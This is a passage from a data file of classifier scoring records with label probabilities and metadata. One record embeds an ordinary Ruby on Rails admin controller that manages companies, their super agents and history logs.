"normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9674, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9674, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:12.602161+00:00", "scoring_key_slot": "primary", "dataset_uid": "6550f5bc-4f56-41cc-9a36-76ca55f4f1b3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "03070f41e260bf4703854ada56b391cd88736687adec8e4d151d4e79decc08a2", "source_metadata": {"uuid": "6550f5bc-4f56-41cc-9a36-76ca55f4f1b3", "repo_name": "River-Ye/oh_my_wage", "relative_path": "Gemfile", "category": "CONFIG", "algo_rel_score": 0.9230681657791138, "quality_score": 7.427303314208984, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 668, "repo_created_at": "2019-09-22T04:36:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 5, "issues": 0, "pull_requests": 8}, "file_meta": {"content_id": "428f1726a36d7ef581866d0fd4baeade124e2e14", "size_bytes": 3181, "file_timestamp": 1632791801, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6b44f3f87efe65460a465f48222affae5ad8a7ea"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 668, "repo_created_at": "2019-09-22T04:36:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 5, "issues": 0, "pull_requests": 8}, "file_meta": {"content_id": "428f1726a36d7ef581866d0fd4baeade124e2e14", "size_bytes": 3181, "file_timestamp": 1632791801, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6b44f3f87efe65460a465f48222affae5ad8a7ea", "url": "https://github.com/River-Ye/oh_my_wage/blob/6b44f3f87efe65460a465f48222affae5ad8a7ea/Gemfile"}, "gpt4o_tokens": 1117, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.841767167729216, "noise_severity": 0.3383307509309445, "missing_content_severity": 0.028378715326170652, "factual_density": 3.398724280917302, "pretraining_utility": -0.06418858746946184, "math_density": 0.0037577104531565765, "code_density": 3.420954862162828, "reasoning_density": 0.10736965542288084, "education_level": 2.0602640211277854, "creative_writing_quality": -0.2902007089673414}, "score_applicability": {"education_level": 0.9951082999394618, "creative_writing_quality": 0.0005544451450635972}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/bennojonas84/redondo/blob/17b075d8cda815f2c5f3e04f4ae9b944aac3f922/app/controllers/admin/companies_controller.rb", "id": "ruby-0-c9e9db4b66ce660b93f9831a0c3ff60b", "text": "class Admin::CompaniesController < Admin::BaseController\n respond_to :html, :js, :json\n before_filter :authenticate_admin!\n # load_and_authorize_resource\n \n def index\n @companies = Company.all.order(\"id\").paginate(page: params[:page],\n per_page: params[:per_page] ? params[:per_page] : 10)\n end\n \n def new\n @company=Company.new\n end\n\n def show\n @company = Company.find(params[:id])\n @uber_admins = Admin.uber_admins\n @assigned_uber_admin = Admin.uber_admins.assigned_to_company(@company.id).first\n respond_with @company\n end\n\n def create\n @company=Company.new(params[:company]) #create new company\n if !Agent.find_by_email(params[:company][:email]) #if agent which has same email as new agent does not exist\n @companyagent = @company.agents.build(:email=>params[:company][:email],:confirmed_at=>Time.now, :password=>params[:company][:password], :password_confirmation=>params[:company][:password], :company_user=>'1',:first_name=>\"\")\n history_company = History.new(:company_name=>nil, :active_name=>current_admin.email,:passive_name=>\"#{@company.name}(#{@companyagent.email})\", :action=>\"create\", :action_date=>Time.now, :sort=>\"company\")\n #history_superagent = History.new(:company_name=>@company.name, :active_name=>current_admin.email,:passive_name=>@companyagent.email, :action=>\"create\", :action_date=>Time.now, :sort=>\"company\")\n if @company.save\n history_company.save()\n # history_superagent.save()\n redirect_to admin_companies_path #redirect index page\n end\n else #if not\n flash.now[:error]='Please use another email address since This email is used by another agent.'\n render :new #display page to create new company and super agent\n end\n end\n \n def update\n company_id = params[:id] #company id selected for updating\n @company = Company.find(company_id) #company selected for updating\n @companyagent = @company.agents.find_by_company_user('true') #super agent for company\n history_company = History.new(:company_name=>nil, :active_name=>current_admin.email,:passive_name=>\"#{@company.name}(#{@companyagent.email})\", :action=>\"update\", :action_date=>Time.now, :sort=>\"company\")\n @otheragents = Agent.where(['id <> ?', @companyagent.id]) #all agent excluding current super agent\n if !@otheragents.find_by_email(params[:company][:email]) #if there is not agent who has same email as super agent's email to update\n #@company.update_attributes(:name=>params[:company][:name],:logo=>params[:company][:logo],:url=>params[:company][:url]) #update company\n @company.update_attributes(params[:company]) #update company\n @companyagent.email=params[:company][:email]\n @companyagent.password=params[:company][:password]\n @companyagent.password_confirmation=params[:company][:password]\n @companyagent.confirmed_at=Time.now\n @companyagent.skip_reconfirmation! #skip sending confirmation email for super agent\n #history_superagent = History.new(:company_name=>@company.name, :active_name=>current_admin.email,:passive_name=>@companyagent.email, :action=>\"update\", :action_date=>Time.now, :sort=>\"company\")\n if @companyagent.save #update super agent\n history_company.save()\n # history_superagent.save()\n redirect_to admin_companies_path #redirect index page\n else\n flash.now[:error]='save fail. Try again!'\n @companies = Company.find(:all, :order=>\"id\") \n render :index\n end\n else #if not\n flash.now[:error]='Please use another email address since This email is used by another agent.'\n @companies = Company.find(:all, :order=>\"id\") \n render :index\n end\n end\n \n def destroy\n @company = Company.find(params[:id]) #company to destroy\n @companyagent = @company.agents.find_by_company_user('true') #super agent for company\n history = History.new(:company_name=>nil, :active_name=>current_admin.email,:passive_name=>\"#{@company.name}(#{@companyagent.email})\", :action=>\"destroy\", :action_date=>Time.now, :sort=>\"company\")\n if (@company.destroy) #destroy company\n history.save()\n redirect_to admin_companies_path \n end\n end\n \n def getcompanyinfo\n @company = Company.find_by_id(params['id'])\n @companyagent = @company.agents.find_by_company_user('true') #super agent\n @company.email = @companyagent.try(:email)\n \n respond_to do |format|\n format.html\n end\n end\n \n def manage\n agent = Agent.find(params[:superagent_id])\n agent.asadmin = 1 #login agent with authority of admin\n if agent.save()\n sign_in agent\n redirect_to visits_path \n else\n flash.now[:error]='occur while login agent as admin'\n @companies = Company.find(:all, :order=>\"id\") \n render :index\n end\n end\n\n def assign_uber_admin\n @company = Company.find(params[:id])\n company_id = @company.id\n search_and_update_uber_admins(company_id)\n @uber_admin = Admin.find(params[:admin_id])\n @uber_admin.add_company_id(company_id)\n\n respond_with @company do |format|\n format.js { }\n end\n end\n\n protected\n\n def search_and_update_uber_admins(company_id)\n admins = Admin.uber_admins.assigned_to_company(company_id)\n if admins.any?\n admins.each {|admin| admin.remove_company_id(company_id) }\n end\n end\n \nend\n", "text_preview": "class Admin::CompaniesController < Admin::BaseController respond_to :html, :js, :json before_filter :authenticate_admin! # load_and_authorize_resource def index @companies = Company.all.order(\"id\").paginate(page: params[:page], per_page: pa", "input_sha256": "6d5ccdc1f6166b61cf763061e0015ccc9ffea289c5cab6058197dbd9c8bcd03c", "text_sha256": "c9e9db4b66ce660b93f9831a0c3ff60b9e7524cd735a7d56ef2caa3369678186", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16043, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5285809997966867, "noise_severity": 0.04760376422242573, "missing_content_severity": 0.04529174138055408, "factual_density": 3.37890964117301, "pretraining_utility": 0.3688673757404996, "math_density": 0.015096636970943935, "code_density": 3.9478004668528563, "reasoning_density": 0.5395719139390404, "education_level": 2.306914651045267, "creative_writing_quality": -0.40308802123949594}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007897355557494823, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9961178684200525, "secondary": 0.9853545429038533, "tertiary": 0.9935952617464565, "structured_records": 0.008267276757739164, "procedural_steps": 0.0059929571256089305, "worked_solution": 0.0014576661016473882, "contextual_dialogue": 9.263455666449366e-06, "content_quality": 0.39973753151072744, "noise_severity": 0.9603301964813119, "missing_content_severity": 0.9622568821828716, "factual_density": 0.4824247009775081, "pretraining_utility": 0.4800415716695209, "math_density": 0.9874194691908801, "code_density": 0.9565003890440468, "reasoning_density": 0.550356738384133, "education_level": 0.6150748694880063, "creative_writing_quality": 0.998716550605547, "primary_topic": 0.9845312584517103, "secondary_topic": 0.9423289492520174}, "probability_margin": {"primary": 0.9942717951099771, "secondary": 0.9791456510453004, "tertiary": 0.9914415139253678, "education_level": 0.40155521615955564, "creative_writing_quality": 0.9984341639889981, "primary_topic": 0.9756836080298513, "secondary_topic": 0.9091380523222199}, "raw_probabilities": {"primary": {"Academic Writing": 3.358925888290817e-05, "Content Listing": 2.9412915896447628e-05, "Creative Writing": 1.7355888335440942e-05, "Customer Support Page": 8.435947247301449e-06, "Q&A Forum": 1.2061347285860204e-05, "Discussion Thread": 7.4538972584713475e-06, "Comment Section": 1.3052269510143338e-05, "Missing Content": 2.9032440870633372e-05, "Knowledge Article": 8.09127965691598e-05, "Legal Notices": 3.335963247188484e-05, "News Article": 4.575865002530849e-06, "Organizational Announcement": 1.1010883874084952e-05, "Nonfiction Writing": 1.1954732109489012e-05, "Organizational About Page": 1.3161936810082313e-05, "Personal About Page": 1.3726168363632642e-05, "Personal Blog": 7.564660724657488e-06, "Product Page": 7.543897881291139e-06, "Spam / Ads": 1.1614709387535605e-05, "Structured Data": 0.0011199725369359823, "Technical Writing": 0.9962796239025503, "Transcript / Interview": 1.4426197945733344e-05, "Tutorial / How-To Guide": 0.0002253387563104786, "User Reviews": 6.990565203030171e-06, "Other / Unknown": 0.002007828792573187}, "secondary": {"Academic Writing": 0.00011463095170189183, "Content Listing": 0.00015721838423595497, "Creative Writing": 9.400265974999931e-05, "Customer Support Page": 4.5781987288137706e-05, "Q&A Forum": 3.627354939624332e-05, "Discussion Thread": 3.226559346558579e-05, "Comment Section": 0.00011093403825088269, "Missing Content": 0.0003229636464331654, "Knowledge Article": 0.0004706064837726501, "Legal Notices": 0.00012791525668484676, "News Article": 4.721414122076846e-05, "Organizational Announcement": 4.241203935468308e-05, "Nonfiction Writing": 5.1783896302739584e-05, "Organizational About Page": 5.897069994053419e-05, "Personal About Page": 4.992441193406385e-05, "Personal Blog": 4.0610580799865605e-05, "Product Page": 2.7814693424957254e-05, "Spam / Ads": 4.7751670032968654e-05, "Structured Data": 0.004400609226409027, "Technical Writing": 0.006819119237559008, "Transcript / Interview": 5.661589232923621e-05, "Tutorial / How-To Guide": 0.000853496978240748, "User Reviews": 2.6313698612814585e-05, "NONE": 0.9859647702828593}, "tertiary": {"Academic Writing": 5.3929750540353234e-05, "Content Listing": 0.00012927485568469508, "Creative Writing": 6.239545342721437e-05, "Customer Support Page": 3.151754259171918e-05, "Q&A Forum": 2.102041315911627e-05, "Discussion Thread": 1.895010733115748e-05, "Comment Section": 7.534651849131288e-05, "Missing Content": 0.00037993565360323217, "Knowledge Article": 0.0002746547066213253, "Legal Notices": 0.00012940258150735548, "News Article": 3.2654131670714414e-05, "Organizational Announcement": 2.762238086422879e-05, "Nonfiction Writing": 4.478789930494262e-05, "Organizational About Page": 5.250597385152756e-05, "Personal About Page": 3.047170453356496e-05, "Personal Blog": 2.657039152337319e-05, "Product Page": 2.164404453647482e-05, "Spam / Ads": 3.5065242110812204e-05, "Structured Data": 0.0015224705485213034, "Technical Writing": 0.002420611914986349, "Transcript / Interview": 3.429222754424363e-05, "Tutorial / How-To Guide": 0.0006933423401893023, "User Reviews": 1.9407777051504368e-05, "NONE": 0.9938621258403542}, "structured_records": {"false": 0.9917327232422608, "true": 0.008267276757739164}, "procedural_steps": {"false": 0.9940070428743911, "true": 0.0059929571256089305}, "worked_solution": {"false": 0.9985423338983526, "true": 0.0014576661016473882}, "contextual_dialogue": {"false": 0.9999907365443336, "true": 9.263455666449366e-06}, "content_quality": {"-2": 0.014739089300770721, "-1": 0.10357628147774155, "0": 0.34449715033742495, "1": 0.41273949789215597, "2": 0.12444798099190688}, "noise_severity": {"0": 0.958105901752601, "1": 0.03758914129951612, "2": 0.0032601065030503974, "3": 0.0006849918625208245, "4": 0.00035985858231158633}, "missing_content_severity": {"0": 0.9647953321754068, "1": 0.027763734073419394, "2": 0.005361809076852323, "3": 0.001512109543855755, "4": 0.0005670151304656935}, "factual_density": {"0": 0.008617837197048266, "1": 0.01580890189050738, "2": 0.1056309077045839, "3": 0.32793048895810734, "4": 0.542011864249753}, "pretraining_utility": {"-2": 0.010069548825103053, "-1": 0.10740227147783148, "0": 0.43786642445165963, "1": 0.39291476562227445, "2": 0.05174698962313137}, "math_density": {"0": 0.990090422095139, "1": 0.007580723623704937, "2": 0.0006749988098100738, "3": 0.0004495061577654488, "4": 0.0012043493135806258}, "code_density": {"0": 0.00014858353209876857, "1": 0.0002614861948828575, "2": 0.0056816050401026965, "3": 0.039457530353894876, "4": 0.9544507948790208}, "reasoning_density": {"0": 0.7200860720673442, "1": 0.09964978936165463, "2": 0.12080092315749844, "3": 0.03953258339162183, "4": 0.01993063202188083}, "education_level": {"none": 0.0012967089973424783, "0": 0.0015587301620886215, "1": 0.016174343913553307, "2": 0.6792290579066719, "3": 0.27767384174711623, "4": 0.024067317273227334}, "creative_writing_quality": {"not_applicable": 0.9989304588379558, "-2": 0.00012025298179731498, "-1": 0.0003381576718140219, "0": 0.0004962948489577396, "1": 8.21269141836899e-05, "2": 3.270874529122851e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.591137253143382e-05, "Art & Design": 9.329899839102509e-05, "Law & Crime": 7.782346005111689e-05, "Education & Careers": 9.352041268470409e-05, "Entertainment & Media": 5.6032008490665156e-05, "Fashion & Beauty": 5.345747402808495e-05, "Business, Economics & Finance": 0.009442602019870145, "Food & Dining": 0.00011149960646502071, "Games & Gaming": 0.000538614899583651, "Electronics & Hardware": 0.00012689503892263982, "Health, Healthcare & Wellness": 6.87481624975391e-05, "History & Geography": 4.84016133281451e-05, "Home, Pets & Hobbies": 7.059297841144808e-05, "Industry & Production": 0.0003995990549791702, "Language, Literature & Philosophy": 6.017092618709103e-05, "Politics & Government": 8.632001982590611e-05, "Religion & Spirituality": 5.816014517279211e-05, "Science, Mathematics & Engineering": 0.0001498066386705139, "Relationships & Community": 6.803151376157834e-05, "Software Usage & Applications": 0.0013654867946666376, "Programming & Software Engineering": 0.9851262100497215, "Sports & Fitness": 7.587755847028436e-05, "Vehicles & Transportation": 6.0068068261950686e-05, "Travel & Tourism": 0.0002129910734345741, "Other / Uncovered Subject": 0.0012589943313409298, "Unknown / Insufficient Content": 0.00024088578025146715}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00035351449497677466, "Art & Design": 0.00037657036992942017, "Law & Crime": 0.0005513346446327558, "Education & Careers": 0.00027204715801574023, "Entertainment & Media": 0.00032675357817533215, "Fashion & Beauty": 0.00015026199418304516, "Business, Economics & Finance": 0.03540901426625834, "Food & Dining": 0.0002558831576814032, "Games & Gaming": 0.0007398778945722918, "Electronics & Hardware": 0.0002929522540700057, "Health, Healthcare & Wellness": 0.00021058212623063465, "History & Geography": 0.00012216568968060365, "Home, Pets & Hobbies": 0.00017985849779850394, "Industry & Production": 0.0004688981848727892, "Language, Literature & Philosophy": 0.0001534198996941532, "Politics & Government": 0.00022268010721872798, "Religion & Spirituality": 0.00020411458255362118, "Science, Mathematics & Engineering": 0.00029798587269985966, "Relationships & Community": 0.00019116289975215764, "Software Usage & Applications": 0.003216894311022791, "Programming & Software Engineering": 0.009638160542920932, "Sports & Fitness": 0.00017049777012047277, "Vehicles & Transportation": 0.00011749814509013283, "Travel & Tourism": 0.00041816917942844094, "Other / Uncovered Subject": 0.0011126357899428848, "NONE": 0.9445470665884782}}, "probabilities": {"primary": {"Academic Writing": 3.3589258882908166e-05, "Content Listing": 2.941291589644762e-05, "Creative Writing": 1.735588833544094e-05, "Customer Support Page": 8.435947247301447e-06, "Q&A Forum": 1.20613472858602e-05, "Discussion Thread": 7.453897258471346e-06, "Comment Section": 1.3052269510143335e-05, "Missing Content": 2.9032440870633365e-05, "Knowledge Article": 8.091279656915978e-05, "Legal Notices": 3.335963247188483e-05, "News Article": 4.575865002530848e-06, "Organizational Announcement": 1.101088387408495e-05, "Nonfiction Writing": 1.1954732109489009e-05, "Organizational About Page": 1.316193681008231e-05, "Personal About Page": 1.3726168363632638e-05, "Personal Blog": 7.5646607246574865e-06, "Product Page": 7.543897881291137e-06, "Spam / Ads": 1.1614709387535602e-05, "Structured Data": 0.0011199725369359821, "Technical Writing": 0.9962796239025501, "Transcript / Interview": 1.442619794573334e-05, "Tutorial / How-To Guide": 0.00022533875631047855, "User Reviews": 6.990565203030169e-06, "Other / Unknown": 0.0020078287925731865}, "secondary": {"Academic Writing": 0.00011463095170189183, "Content Listing": 0.00015721838423595497, "Creative Writing": 9.400265974999931e-05, "Customer Support Page": 4.5781987288137706e-05, "Q&A Forum": 3.627354939624332e-05, "Discussion Thread": 3.226559346558579e-05, "Comment Section": 0.00011093403825088269, "Missing Content": 0.0003229636464331654, "Knowledge Article": 0.0004706064837726501, "Legal Notices": 0.00012791525668484676, "News Article": 4.721414122076846e-05, "Organizational Announcement": 4.241203935468308e-05, "Nonfiction Writing": 5.1783896302739584e-05, "Organizational About Page": 5.897069994053419e-05, "Personal About Page": 4.992441193406385e-05, "Personal Blog": 4.0610580799865605e-05, "Product Page": 2.7814693424957254e-05, "Spam / Ads": 4.7751670032968654e-05, "Structured Data": 0.004400609226409027, "Technical Writing": 0.006819119237559008, "Transcript / Interview": 5.661589232923621e-05, "Tutorial / How-To Guide": 0.000853496978240748, "User Reviews": 2.6313698612814585e-05, "NONE": 0.9859647702828593}, "tertiary": {"Academic Writing": 5.3929750540353234e-05, "Content Listing": 0.00012927485568469508, "Creative Writing": 6.239545342721437e-05, "Customer Support Page": 3.151754259171918e-05, "Q&A Forum": 2.102041315911627e-05, "Discussion Thread": 1.895010733115748e-05, "Comment Section": 7.534651849131288e-05, "Missing Content": 0.00037993565360323217, "Knowledge Article": 0.0002746547066213253, "Legal Notices": 0.00012940258150735548, "News Article": 3.2654131670714414e-05, "Organizational Announcement": 2.762238086422879e-05, "Nonfiction Writing": 4.478789930494262e-05, "Organizational About Page": 5.250597385152756e-05, "Personal About Page": 3.047170453356496e-05, "Personal Blog": 2.657039152337319e-05, "Product Page": 2.164404453647482e-05, "Spam / Ads": 3.5065242110812204e-05, "Structured Data": 0.0015224705485213034, "Technical Writing": 0.002420611914986349, "Transcript / Interview": 3.429222754424363e-05, "Tutorial / How-To Guide": 0.0006933423401893023, "User Reviews": 1.9407777051504368e-05, "NONE": 0.9938621258403542}, "structured_records": {"false": 0.9917327232422608, "true": 0.008267276757739164}, "procedural_steps": {"false": 0.9940070428743911, "true": 0.0059929571256089305}, "worked_solution": {"false": 0.9985423338983526, "true": 0.0014576661016473882}, "contextual_dialogue": {"false": 0.9999907365443336, "true": 9.263455666449366e-06}, "content_quality": {"-2": 0.014739089300770721, "-1": 0.10357628147774155, "0": 0.34449715033742495, "1": 0.41273949789215597, "2": 0.12444798099190688}, "noise_severity": {"0": 0.958105901752601, "1": 0.03758914129951612, "2": 0.0032601065030503974, "3": 0.0006849918625208245, "4": 0.00035985858231158633}, "missing_content_severity": {"0": 0.9647953321754068, "1": 0.027763734073419394, "2": 0.005361809076852323, "3": 0.001512109543855755, "4": 0.0005670151304656935}, "factual_density": {"0": 0.008617837197048268, "1": 0.015808901890507383, "2": 0.10563090770458392, "3": 0.3279304889581074, "4": 0.5420118642497531}, "pretraining_utility": {"-2": 0.010069548825103053, "-1": 0.10740227147783148, "0": 0.43786642445165963, "1": 0.39291476562227445, "2": 0.05174698962313137}, "math_density": {"0": 0.990090422095139, "1": 0.007580723623704937, "2": 0.0006749988098100738, "3": 0.0004495061577654488, "4": 0.0012043493135806258}, "code_density": {"0": 0.00014858353209876857, "1": 0.0002614861948828575, "2": 0.0056816050401026965, "3": 0.039457530353894876, "4": 0.9544507948790208}, "reasoning_density": {"0": 0.7200860720673443, "1": 0.09964978936165464, "2": 0.12080092315749845, "3": 0.039532583391621835, "4": 0.019930632021880834}, "education_level": {"none": 0.0012967089973424785, "0": 0.0015587301620886217, "1": 0.01617434391355331, "2": 0.679229057906672, "3": 0.2776738417471163, "4": 0.024067317273227338}, "creative_writing_quality": {"not_applicable": 0.9989304588379561, "-2": 0.00012025298179731501, "-1": 0.00033815767181402196, "0": 0.0004962948489577397, "1": 8.212691418368991e-05, "2": 3.270874529122852e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.591137253143382e-05, "Art & Design": 9.329899839102509e-05, "Law & Crime": 7.782346005111689e-05, "Education & Careers": 9.352041268470409e-05, "Entertainment & Media": 5.6032008490665156e-05, "Fashion & Beauty": 5.345747402808495e-05, "Business, Economics & Finance": 0.009442602019870145, "Food & Dining": 0.00011149960646502071, "Games & Gaming": 0.000538614899583651, "Electronics & Hardware": 0.00012689503892263982, "Health, Healthcare & Wellness": 6.87481624975391e-05, "History & Geography": 4.84016133281451e-05, "Home, Pets & Hobbies": 7.059297841144808e-05, "Industry & Production": 0.0003995990549791702, "Language, Literature & Philosophy": 6.017092618709103e-05, "Politics & Government": 8.632001982590611e-05, "Religion & Spirituality": 5.816014517279211e-05, "Science, Mathematics & Engineering": 0.0001498066386705139, "Relationships & Community": 6.803151376157834e-05, "Software Usage & Applications": 0.0013654867946666376, "Programming & Software Engineering": 0.9851262100497215, "Sports & Fitness": 7.587755847028436e-05, "Vehicles & Transportation": 6.0068068261950686e-05, "Travel & Tourism": 0.0002129910734345741, "Other / Uncovered Subject": 0.0012589943313409298, "Unknown / Insufficient Content": 0.00024088578025146715}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00035351449497677466, "Art & Design": 0.00037657036992942017, "Law & Crime": 0.0005513346446327558, "Education & Careers": 0.00027204715801574023, "Entertainment & Media": 0.00032675357817533215, "Fashion & Beauty": 0.00015026199418304516, "Business, Economics & Finance": 0.03540901426625834, "Food & Dining": 0.0002558831576814032, "Games & Gaming": 0.0007398778945722918, "Electronics & Hardware": 0.0002929522540700057, "Health, Healthcare & Wellness": 0.00021058212623063465, "History & Geography": 0.00012216568968060365, "Home, Pets & Hobbies": 0.00017985849779850394, "Industry & Production": 0.0004688981848727892, "Language, Literature & Philosophy": 0.0001534198996941532, "Politics & Government": 0.00022268010721872798, "Religion & Spirituality": 0.00020411458255362118, "Science, Mathematics & Engineering": 0.00029798587269985966, "Relationships & Community": 0.00019116289975215764, "Software Usage & Applications": 0.003216894311022791, "Programming & Software Engineering": 0.009638160542920932, "Sports & Fitness": 0.00017049777012047277, "Vehicles & Transportation": 0.00011749814509013283, "Travel & Tourism": 0.00041816917942844094, "Other / Uncovered Subject": 0.0011126357899428848, "NONE": 0.9445470665884782}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9846, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9846, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:17.092164+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "eb3db577-4aa3-48f7-ac7c-7e2c1b73fb3a", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "99bdad5232178b06d494ef761d1bbbabe4ef3d27ea96553cf941683815427699", "source_metadata": {"uuid": "eb3db577-4aa3-48f7-ac7c-7e2c1b73fb3a", "repo_name": "bennojonas84/redondo", "relative_path": "app/controllers/admin/companies_controller.rb", "category": "WEB", "algo_rel_score": 0.8163226842880249, "quality_score": 3.501722574234009, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2015-09-25T22:54:02.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9e8bd4e7dfae69379796439eb97d7b0a5d2ba29e", "size_bytes": 5402, "file_timestamp": 1443221594, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": 